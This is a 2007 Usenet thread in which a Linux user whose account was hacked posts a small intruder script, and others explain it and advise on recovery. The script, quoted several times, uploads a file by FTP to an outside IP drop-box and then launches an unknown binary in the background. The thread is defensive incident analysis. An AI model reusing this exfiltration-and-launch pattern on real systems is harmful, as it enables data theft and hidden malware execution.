On Mon, 01 Oct 2007 23:09:17 +1000, Mark wrote:

> I received a notice from my ISP regarding a phishing attempt traced to
> my IP address. This was my fault, as I left open an account with a
> trivial password.
>
> The account home directory contained a simple shell script of just over
> a dozen lines I can't see what it's doing there.
>
> Now three questions:
>
> 1. Is it bad form to reproduce the script or other relevant info here?
>
> 2. Would somebody be able to tell me what it does, and how harmful it
> is?
>
> 3. Would it mean that I have been cracked?
>
> Thanks,
>
> Mark

The criminals who wrote it already know what's in the script so I don't
see what the harm would be in posting it here. The heart of open-source
security is sharing information, In my opinion posting the script and any
other information that you have about the break in would be a public
service.

If it was my system that had been compromised I'd do a clean install of
the OS. There is no way to know with 100% certainty that you've removed
everything that they've installed. You'll probably want to run a few of
the rootkit checkers that are out there just to see if they find
anything, but at the end of the day the only way to feel comfortable is
to do a clean install.

What ports did you have open on your system?

Mark writes:

>I received a notice from my ISP regarding a phishing attempt traced to
>my IP address. This was my fault, as I left open an account with a
>trivial password.

>The account home directory contained a simple shell script of just over
>a dozen lines I can't see what it's doing there.

>Now three questions:

>1. Is it bad form to reproduce the script or other relevant info here?

No. Why? It would be shorted than your question.


>2. Would somebody be able to tell me what it does, and how harmful it is?

Yes, many would be able to do so.


>3. Would it mean that I have been cracked?

Almost certainly

>Thanks,

>Mark

Mark wrote:
> I received a notice from my ISP regarding a phishing attempt traced to
> my IP address. This was my fault, as I left open an account with a
> trivial password.
>
> The account home directory contained a simple shell script of just over
> a dozen lines I can't see what it's doing there.
>
> Now three questions:
>
> 1. Is it bad form to reproduce the script or other relevant info here?
>
> 2. Would somebody be able to tell me what it does, and how harmful it is?
>
> 3. Would it mean that I have been cracked?
>
> Thanks,
>
> Mark

OK below is the text of the script as it was sent back to me. I can
normally understand shell scripts, but I can't see what this one is doing.

=20

#!/bin/sh

HOST=3D'58.105.225.59'

USER=3D'test'

PASSWD=3D'testing'

FILE=3D'1.db'

=20

ftp -n $HOST <
quote USER $USER

quote PASS $PASSWD

put $FILE

quit

END_SCRIPT

sleep 70

../pula &

exit 0

=20

=20

On Tue, 02 Oct 2007 23:19:17 +1000, Mark wrote:
> Mark wrote:
>>
>> The account home directory contained a simple shell script of just over
>> a dozen lines I can't see what it's doing there.
>>
> OK below is the text of the script as it was sent back to me. I can
> normally understand shell scripts, but I can't see what this one is doing.
>
>=20
> #!/bin/sh
> HOST=3D'58.105.225.59'
> USER=3D'test'
> PASSWD=3D'testing'
> FILE=3D'1.db'
>=20
> ftp -n $HOST < > quote USER $USER
> quote PASS $PASSWD
> put $FILE
> quit
> END_SCRIPT
> sleep 70
> ./pula &
> exit 0
>=20
>=20

The "=3D" looks like an escape convention for representing
the character "=". Under that convention, "=20" is a space.

I don't know who processes the "quote" command, but from the
context it's prety clear that its function is to substitute
values for the variables $USER and $PASSWD.

So, what it does:
1. FTP to 58.105.225.59 with user name "test" and password
"testing", and send the file "1.db". (With this name
and password, I get "Login incorrect.")
2. Sleep for 70 seconds.
3. Run the program "pula", detached.

--
To email me, substitute nowhere->spamcop, invalid->net.

Mark wrote:
> I received a notice from my ISP regarding a phishing attempt traced to
> my IP address. This was my fault, as I left open an account with a
> trivial password.

Mark wrote:
> OK below is the text of the script as it was sent back to me. I can
> normally understand shell scripts, but I can't see what this one
> is doing.

Set up some variables (constants, really):

> #!/bin/sh
> HOST='58.105.225.59'
> USER='test'
> PASSWD='testing'
> FILE='1.db'

Run the ftp command with a "here" script masquerading as its stdin until
you hit END_SCRIPT. This copies the local file 1.db to a remote account
called test on a server at 58.105.225.59:

> ftp -n $HOST < > quote USER $USER
> quote PASS $PASSWD
> put $FILE
> quit
> END_SCRIPT

Wait for a little over a minute and then run "pula" (from the current
directory) as a background process before exiting:

> sleep 70
> ./pula &
> exit 0

To find out more about what your server was being used for, you would
need to investigate "pula" and the contents of the file "1.db".

Chris

On Tue, 02 Oct 2007, in the Usenet newsgroup comp.os.linux.security, in article
<47024555$0$15142$afc38c87@news.optusnet.com.au>, Mark wrote:

>Mark wrote:

>> The account home directory contained a simple shell script of just over
>> a dozen lines I can't see what it's doing there.

>OK below is the text of the script as it was sent back to me.

Confusion - above you say the script was in the home directory, while
here, you say it was sent back to you. WTF?

>I can normally understand shell scripts, but I can't see what this one
>is doing.

Your Linux box may only have a soft link from /usr/share/man/man1/sh.1
to something else - probably /usr/share/man/man1/bash.1 - you can follow
that to see what it's doing.

[useless empty lines deleted]

>#!/bin/sh
>HOST=3D'58.105.225.59'

That sets the variable 'HOST' to the IP address you are posting from.
The '=3D' is a mime abortion which actually translates to an equal sign.

>USER=3D'test'
>PASSWD=3D'testing'
>FILE=3D'1.db'

Setting three more variables - what is the contents of file "1.db" in
this home directory?

>=20

More mime crap - actual a space character

>ftp -n $HOST < >quote USER $USER
>quote PASS $PASSWD
>put $FILE
>quit
>END_SCRIPT

run the ftp command, connecting to the ftp server on 58.105.225.59,
logging in as user test with password testing, and uploading the file
'1.db' from the current directory on the host this script is run from,
and then quitting.

>sleep 70
>./pula &

Sleep for 70 seconds, and then run the application 'pula' which is also
in the current directory, putting that application into the background.

'pula' is a city in Croatia (14E/45N), the currency of Botswana (where
it apparently means "rain"), and seems to be some form of windoze worm
or virus that may have originated in Indonesia. I hadn't heard of it
effecting Linux before, and it doesn't show up in the list of malware
searched for in the windoze-wannabe "tools" chkrootkit or rkhunter.
Perhaps you should be looking at that file - starting with the command

file ./pula

if you haven't wiped the directory already.

>exit 0

That's the end of the script. Not knowing what's in the 'pula' file,
it's not possible to say what's going on, but this thing you quoted
seems to be running the 'pula' file, sleeping for 70 seconds. It's
also ftp'ing a file named '1.db' to the ftp account 'test' on the host
58.105.225.59. Did you look to see what is in there?

Actually, this looks more as if the host 58.105.225.59 is/was being used
as a 'drop-box', and you may find it useful searching that system to see
where the files are going. It _could_ be that another computer elsewhere
was connecting to the ftp server on 58.105.225.59 using the same account
name/password, and 'get'ing (and perhaps removing) the file, in which
case the only evidence might be in the (non-existent) ftp server logs.

Old guy

On Tue, 02 Oct 2007 14:46:04 -0500:

> On Tue, 02 Oct 2007, in the Usenet newsgroup comp.os.linux.security, in article
> <47024555$0$15142$afc38c87@news.optusnet.com.au>, Mark wrote:
>
>>Mark wrote:
>
>>> The account home directory contained a simple shell script of just over
>>> a dozen lines I can't see what it's doing there.
>
>>OK below is the text of the script as it was sent back to me.
>
> Confusion - above you say the script was in the home directory, while
> here, you say it was sent back to you. WTF?
>
>>I can normally understand shell scripts, but I can't see what this one
>>is doing.
>
> Your Linux box may only have a soft link from /usr/share/man/man1/sh.1
> to something else - probably /usr/share/man/man1/bash.1 - you can follow
> that to see what it's doing.
>
> [useless empty lines deleted]
>
>>#!/bin/sh
>>HOST=3D'58.105.225.59'
>
> That sets the variable 'HOST' to the IP address you are posting from.
> The '=3D' is a mime abortion which actually translates to an equal sign.
>
>>USER=3D'test'
>>PASSWD=3D'testing'
>>FILE=3D'1.db'
>
> Setting three more variables - what is the contents of file "1.db" in
> this home directory?
>
>>=20
>
> More mime crap - actual a space character
>
>>ftp -n $HOST < >>quote USER $USER
>>quote PASS $PASSWD
>>put $FILE
>>quit
>>END_SCRIPT
>
> run the ftp command, connecting to the ftp server on 58.105.225.59,
> logging in as user test with password testing, and uploading the file
> '1.db' from the current directory on the host this script is run from,
> and then quitting.
>
>>sleep 70
>>./pula &
>
> Sleep for 70 seconds, and then run the application 'pula' which is also
> in the current directory, putting that application into the background.
>
> 'pula' is a city in Croatia (14E/45N), the currency of Botswana (where
> it apparently means "rain"), and seems to be some form of windoze worm
> or virus that may have originated in Indonesia. I hadn't heard of it
> effecting Linux before, and it doesn't show up in the list of malware
> searched for in the windoze-wannabe "tools" chkrootkit or rkhunter.
> Perhaps you should be looking at that file - starting with the command
>
> file ./pula
>
> if you haven't wiped the directory already.
>
>>exit 0
>
> That's the end of the script. Not knowing what's in the 'pula' file,
> it's not possible to say what's going on, but this thing you quoted
> seems to be running the 'pula' file, sleeping for 70 seconds. It's
> also ftp'ing a file named '1.db' to the ftp account 'test' on the host
> 58.105.225.59. Did you look to see what is in there?
>
> Actually, this looks more as if the host 58.105.225.59 is/was being used
> as a 'drop-box', and you may find it useful searching that system to see
> where the files are going. It _could_ be that another computer elsewhere
> was connecting to the ftp server on 58.105.225.59 using the same account
> name/password, and 'get'ing (and perhaps removing) the file, in which
> case the only evidence might be in the (non-existent) ftp server logs.
>
> Old guy


This guy is probably unaware and his box has been hacked to be a relay:

% [whois.apnic.net node-1]
% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html

inetnum: 58.104.0.0 - 58.111.255.255
netname: OPTUSINTERNET-AU
descr: OPTUS INTERNET - RETAIL
descr: INTERNET SERVICES
descr: Chatswood, Sydney
country: AU
admin-c: OI3-AP
tech-c: OI3-AP
mnt-by: APNIC-HM
mnt-lower: MAINT-AU-OPTUSINTERNET
status: ALLOCATED PORTABLE
remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+
remarks: This object can only be updated by APNIC hostmasters.
remarks: To update this object, please contact APNIC
remarks: hostmasters and include your organisation's account
remarks: name in the subject line.
remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+
changed: hm-changed@apnic.net 20050422
changed: hm-changed@apnic.net 20061110
source: APNIC

role: Optus Internet
address: Level 3, 11 Help Street
address: Chatswood, NSW 2067
country: AU
phone: +61-2-9027-1127
fax-no: +61-2-9027-1035
e-mail: oie-netops@optus.com.au
trouble: Send spam/abuse reports to abuse@optusnet.com.au
admin-c: OI1-AP
tech-c: OI1-AP
nic-hdl: OI3-AP
notify: oie-netops@optus.com.au
mnt-by: MAINT-AU-OPTUSINTERNET
changed: oie-netops@optus.com.au 20040502
changed: hm-changed@apnic.net 20041020
changed: hm-changed@apnic.net 20041020
source: APNIC

--
Posted via a free Usenet account from http://www.teranews.com

On 02 Oct 2007, in the Usenet newsgroup comp.os.linux.security, in article
<4702af38$0$26431$88260bb3@free.teranews.com>, CWO4 Dave Mann wrote:

>This guy is probably unaware and his box has been hacked to be a relay:

Hard to say. He reported that his ISP (presumably optus.com.au, as they
didn't bother to SWIP the address space to another, and the rDNS comes
up with a generic optus.com.au hostname) notified him early enough.
The address hasn't shown up on the news.admin.net-abuse.* radar. That
may actually be good news, because chunks of Optus land got into
blocklists here for a total lack of response from abuse.optusnet.com.au
(other than a auto-responder). As for being unaware - if you knew
where to look (and that's not relevant or appropriate here), he seems
to have some knowledge. Setting up an account 'test' with a password
of 'testing' really does sound like the actions of a brane-ded student,
but if you look at the 'deloader' worm that went through the windoze
world back in March 2003...

[snippity]
Deloder is a network worm infecting Windows machines which have set a
weak password to the "Administrator" account. It also installs remote
access tool VNC, opening the computer to the world.
[/snippity]

and I'll bet you'd never guess some of the 87 passwords it used to
gain access. But your favorite search engine would find them. ;-)

Weak passwords have been a problem centuries before computers
existed. There is a fine line between a strong enough password
that the lusers can remember, and the one that ends up on a
post-it note stuck on the monitor. Require mixed case (guess how
many times the upper case letter will be found in predictable
places), numbers (invariably either l33t-speak, or the digit '1'
tacked on to the end of a dictionary word), or punctuation (most
often a '!' at the end)... please remember that the skills of the
common user are really stretched remembering the license plate on
their vehicle.

Old guy

Moe Trin wrote:
> On Tue, 02 Oct 2007, in the Usenet newsgroup comp.os.linux.security, in article
> <47024555$0$15142$afc38c87@news.optusnet.com.au>, Mark wrote:
>
>> Mark wrote:
>
>>> The account home directory contained a simple shell script of just over
>>> a dozen lines I can't see what it's doing there.
>
>> OK below is the text of the script as it was sent back to me.
>
> Confusion - above you say the script was in the home directory, while
> here, you say it was sent back to you. WTF?
>
>> I can normally understand shell scripts, but I can't see what this one
>> is doing.
>
> Your Linux box may only have a soft link from /usr/share/man/man1/sh.1
> to something else - probably /usr/share/man/man1/bash.1 - you can follow
> that to see what it's doing.
>
> [useless empty lines deleted]
>
>> #!/bin/sh
>> HOST=3D'58.105.225.59'
>
> That sets the variable 'HOST' to the IP address you are posting from.
> The '=3D' is a mime abortion which actually translates to an equal sign.
>
>> USER=3D'test'
>> PASSWD=3D'testing'
>> FILE=3D'1.db'
>
> Setting three more variables - what is the contents of file "1.db" in
> this home directory?
>
>> =20
>
> More mime crap - actual a space character
>
>> ftp -n $HOST < >> quote USER $USER
>> quote PASS $PASSWD
>> put $FILE
>> quit
>> END_SCRIPT
>
> run the ftp command, connecting to the ftp server on 58.105.225.59,
> logging in as user test with password testing, and uploading the file
> '1.db' from the current directory on the host this script is run from,
> and then quitting.
>
>> sleep 70
>> ./pula &
>
> Sleep for 70 seconds, and then run the application 'pula' which is also
> in the current directory, putting that application into the background.
>
> 'pula' is a city in Croatia (14E/45N), the currency of Botswana (where
> it apparently means "rain"), and seems to be some form of windoze worm
> or virus that may have originated in Indonesia. I hadn't heard of it
> effecting Linux before, and it doesn't show up in the list of malware
> searched for in the windoze-wannabe "tools" chkrootkit or rkhunter.
> Perhaps you should be looking at that file - starting with the command

little question: are you implying chkrootkit and rkhunter are well ...
snakeoil
and totally unnecessary as security tools ?
i'm curious that's all

> file ./pula
>
> if you haven't wiped the directory already.
>
>> exit 0
>
> That's the end of the script. Not knowing what's in the 'pula' file,
> it's not possible to say what's going on, but this thing you quoted
> seems to be running the 'pula' file, sleeping for 70 seconds. It's
> also ftp'ing a file named '1.db' to the ftp account 'test' on the host
> 58.105.225.59. Did you look to see what is in there?
>
> Actually, this looks more as if the host 58.105.225.59 is/was being used
> as a 'drop-box', and you may find it useful searching that system to see
> where the files are going. It _could_ be that another computer elsewhere
> was connecting to the ftp server on 58.105.225.59 using the same account
> name/password, and 'get'ing (and perhaps removing) the file, in which
> case the only evidence might be in the (non-existent) ftp server logs.
>
> Old guy

i would recommend to take an image of the system and sent it to
a computer security group like the FBI or something (i don't know where
you're from)
you could also let your system just run and increase logging (sort of
turning this system in an
evidence collecting machine) by applying some iptables rules and editing
syslog.conf

the hacker doesn't seem to be very skilled but do some more exploring
before concluding this also
install the same system on another machine, index system tools by taking
md5sums and check them on the
compromised machine.

In fact this should be the first thing you should do since then you
could determine if
setting up this system as a honeypot has any merit. If there is evidence
of tampering with system tools
any logging can not be trusted anymore ! you should also check for
unusual **** in .bash_history, ...
and /var/log/pacct if process accounting was enabled

After some valuable and correct info has been collected, send all of it
to your governement's cybercrime unit.

I'm sorry if this reply doesn't make sense. It's pretty late and i'm not
a native english speaker

On 4 Oct, 00:11, goarilla <"kevin DOT paulus AT skynet DOT be"> wrote:
> Moe Trin wrote:
> > On Tue, 02 Oct 2007, in the Usenet newsgroup comp.os.linux.security, in article
> > <47024555$0$15142$afc38...@news.optusnet.com.au>, Mark wrote:
>
> >> Mark wrote:
>
> >>> The account home directory contained a simple shell script of just over
> >>> a dozen lines I can't see what it's doing there.

>
> little question: are you implying chkrootkit and rkhunter are well ...
> snakeoil
> and totally unnecessary as security tools ?
> i'm curious that's all
>

Useful tools but not in the same class for compromise recovery as a
host based IDS.

>
> i would recommend to take an image of the system and sent it to
> a computer security group like the FBI or something (i don't know where
> you're from)

Well he's posting in Australia which might be considered to be a bit
of a clue.

....and I suspect you've never raised such an incident with a law
enforcement agency. Certainly the FBI won't touch it unless you can
prove a certain level of damages (50K USD IIRC) and at least part of
the attack was carried out on US soil.

> the hacker doesn't seem to be very skilled but do some more exploring
> before concluding this

No - unless this really represents a significant loss, and in the
absence of a host based IDS, the quickest route back to a normal
service is to scrap it and start from a fresh install, carefully
auditing any config/executable restored from backup.

>
> In fact this should be the first thing you should do since then you
> could determine if
> setting up this system as a honeypot has any merit. If there is evidence
> of tampering with system tools

Just because they haven't covered their trails here doesn't mean
they've not done a better job elsewhere.

C.

C. wrote:
> On 4 Oct, 00:11, goarilla <"kevin DOT paulus AT skynet DOT be"> wrote:
>> Moe Trin wrote:
>>> On Tue, 02 Oct 2007, in the Usenet newsgroup comp.os.linux.security, in article
>>> <47024555$0$15142$afc38...@news.optusnet.com.au>, Mark wrote:
>>>> Mark wrote:
>>>>> The account home directory contained a simple shell script of just over
>>>>> a dozen lines I can't see what it's doing there.
>
>> little question: are you implying chkrootkit and rkhunter are well ...
>> snakeoil
>> and totally unnecessary as security tools ?
>> i'm curious that's all
>>
>
> Useful tools but not in the same class for compromise recovery as a
> host based IDS.
>
>> i would recommend to take an image of the system and sent it to
>> a computer security group like the FBI or something (i don't know where
>> you're from)
>
> Well he's posting in Australia which might be considered to be a bit
> of a clue.
>
> ...and I suspect you've never raised such an incident with a law
> enforcement agency. Certainly the FBI won't touch it unless you can
> prove a certain level of damages (50K USD IIRC) and at least part of
> the attack was carried out on US soil.
>

well ... here in belgium
there is no limit set on damages in case of an attack

>> the hacker doesn't seem to be very skilled but do some more exploring
>> before concluding this
>
> No - unless this really represents a significant loss, and in the
> absence of a host based IDS, the quickest route back to a normal
> service is to scrap it and start from a fresh install, carefully
> auditing any config/executable restored from backup.
>
>> In fact this should be the first thing you should do since then you
>> could determine if
>> setting up this system as a honeypot has any merit. If there is evidence
>> of tampering with system tools
>
> Just because they haven't covered their trails here doesn't mean
> they've not done a better job elsewhere.
>
> C.
>

true

On Thu, 04 Oct 2007, in the Usenet newsgroup comp.os.linux.security, in article
<4704218d$0$29251$ba620e4c@news.skynet.be>, goarilla wrote:

>Moe Trin wrote:

>> it doesn't show up in the list of malware searched for in the
>> windoze-wannabe "tools" chkrootkit or rkhunter.

>little question: are you implying chkrootkit and rkhunter are well ...
>snakeoil

The main parts of both tools are rather extensive shell scripts. A lot
of people run them in the hope that they might discover something. They
usually find some innocent indication, and false alarm on that. If you
do a search in the news groups archives, you'll find lots of indications
of false alarms, and few IF ANY reports of actually finding real rootkits.

>and totally unnecessary as security tools ?

s/unnecessary/useless/ Both "tools" search for the '55808'
worm (a distributed port scanner from June 2003) by looking for a file
named '/tmp/.../a' or '/tmp/.../r'. If the "tools" find either, you
must have the 55808 worm - and conversely if they don't find those
specific files, you don't have the worm (that's been toned down now,
and they merely report "not found"). You are of course sure that the
mal-ware author would _never_think_ of changing the file name to
ANYTHING other than '/tmp/.../a' or '/tmp/.../r', right?

>i'm curious that's all

Searching for things that happened in the past (searching for the
'ramen' worm from 2001 which attacked unmaintained Red Hat 6.2 systems)
and expecting the mal-ware to be unchanged is fairly useless. Do you
know anyone still running wu-ftpd-2.6.0 or earlier? A more suitable
tool would be a real IDS - something based on the concepts of
'tripwire' (which took a snapshot of message digests [such as md5sum
_and_ others] of your system, allowing you to compare what it looked
like before verses now) are much more likely to detect problems with
much less of a chance of false alarms.

>> Actually, this looks more as if the host 58.105.225.59 is/was being used

>i would recommend to take an image of the system and sent it to a
>computer security group like the FBI or something (i don't know where
>you're from)

http://www.iana.org/assignments/ipv4-address-space

Takes a few seconds to find that 58.105.225.59 is in the Melbourne area.

>you could also let your system just run and increase logging (sort of
>turning this system in an evidence collecting machine) by applying some
>iptables rules and editing syslog.conf

I suspect his ISP might not be pleased with that. As of Tuesday, that
address range wasn't showing up on news.admin.net-abuse.* and I'm sure
they're happy about that. Lots of network administrators have private
blocklists, and once in them, it's often very hard to get de-listed.

>the hacker doesn't seem to be very skilled

Hard to say - the provided script snippet is quite small and isn't
needing to do anything complicated.

>install the same system on another machine, index system tools by
>taking md5sums and check them on the compromised machine.

This is MUCH better than chkrootkit or rkhunter, but is still subject
to errors, and won't find processes running in RAM and not on the disk.

Old guy

Moe Trin wrote:
> On Thu, 04 Oct 2007, in the Usenet newsgroup comp.os.linux.security, in article
> <4704218d$0$29251$ba620e4c@news.skynet.be>, goarilla wrote:
>
>> Moe Trin wrote:
>
>>> it doesn't show up in the list of malware searched for in the
>>> windoze-wannabe "tools" chkrootkit or rkhunter.
>
>> little question: are you implying chkrootkit and rkhunter are well ...
>> snakeoil
>
> The main parts of both tools are rather extensive shell scripts. A lot
> of people run them in the hope that they might discover something. They
> usually find some innocent indication, and false alarm on that. If you
> do a search in the news groups archives, you'll find lots of indications
> of false alarms, and few IF ANY reports of actually finding real rootkits.
>
>> and totally unnecessary as security tools ?
>
> s/unnecessary/useless/ Both "tools" search for the '55808'
> worm (a distributed port scanner from June 2003) by looking for a file
> named '/tmp/.../a' or '/tmp/.../r'. If the "tools" find either, you
> must have the 55808 worm - and conversely if they don't find those
> specific files, you don't have the worm (that's been toned down now,
> and they merely report "not found"). You are of course sure that the
> mal-ware author would _never_think_ of changing the file name to
> ANYTHING other than '/tmp/.../a' or '/tmp/.../r', right?
>
>> i'm curious that's all
>
> Searching for things that happened in the past (searching for the
> 'ramen' worm from 2001 which attacked unmaintained Red Hat 6.2 systems)
> and expecting the mal-ware to be unchanged is fairly useless. Do you
> know anyone still running wu-ftpd-2.6.0 or earlier? A more suitable
> tool would be a real IDS - something based on the concepts of
> 'tripwire' (which took a snapshot of message digests [such as md5sum
> _and_ others] of your system, allowing you to compare what it looked
> like before verses now) are much more likely to detect problems with
> much less of a chance of false alarms.
>
>>> Actually, this looks more as if the host 58.105.225.59 is/was being used
>
>> i would recommend to take an image of the system and sent it to a
>> computer security group like the FBI or something (i don't know where
>> you're from)
>
> http://www.iana.org/assignments/ipv4-address-space
>
> Takes a few seconds to find that 58.105.225.59 is in the Melbourne area.

again i wasn't in the mood to geoiplookup his ip or checking iana.org
for that info

>> you could also let your system just run and increase logging (sort of
>> turning this system in an evidence collecting machine) by applying some
>> iptables rules and editing syslog.conf
>
> I suspect his ISP might not be pleased with that. As of Tuesday, that
> address range wasn't showing up on news.admin.net-abuse.* and I'm sure
> they're happy about that. Lots of network administrators have private
> blocklists, and once in them, it's often very hard to get de-listed.
>
>> the hacker doesn't seem to be very skilled
>
> Hard to say - the provided script snippet is quite small and isn't
> needing to do anything complicated.
>
>> install the same system on another machine, index system tools by
>> taking md5sums and check them on the compromised machine.
>
> This is MUCH better than chkrootkit or rkhunter, but is still subject
> to errors, and won't find processes running in RAM and not on the disk.
>
> Old guy

isn't this in essence what tripwire does ?
and don't programs generally run in ram ?
just some questions ... and i thought snort was pretty much the default IDS?
i haven't deployed both of them but i've been interested in them for
quite some time

neither have i used chkrootkit or rkhunter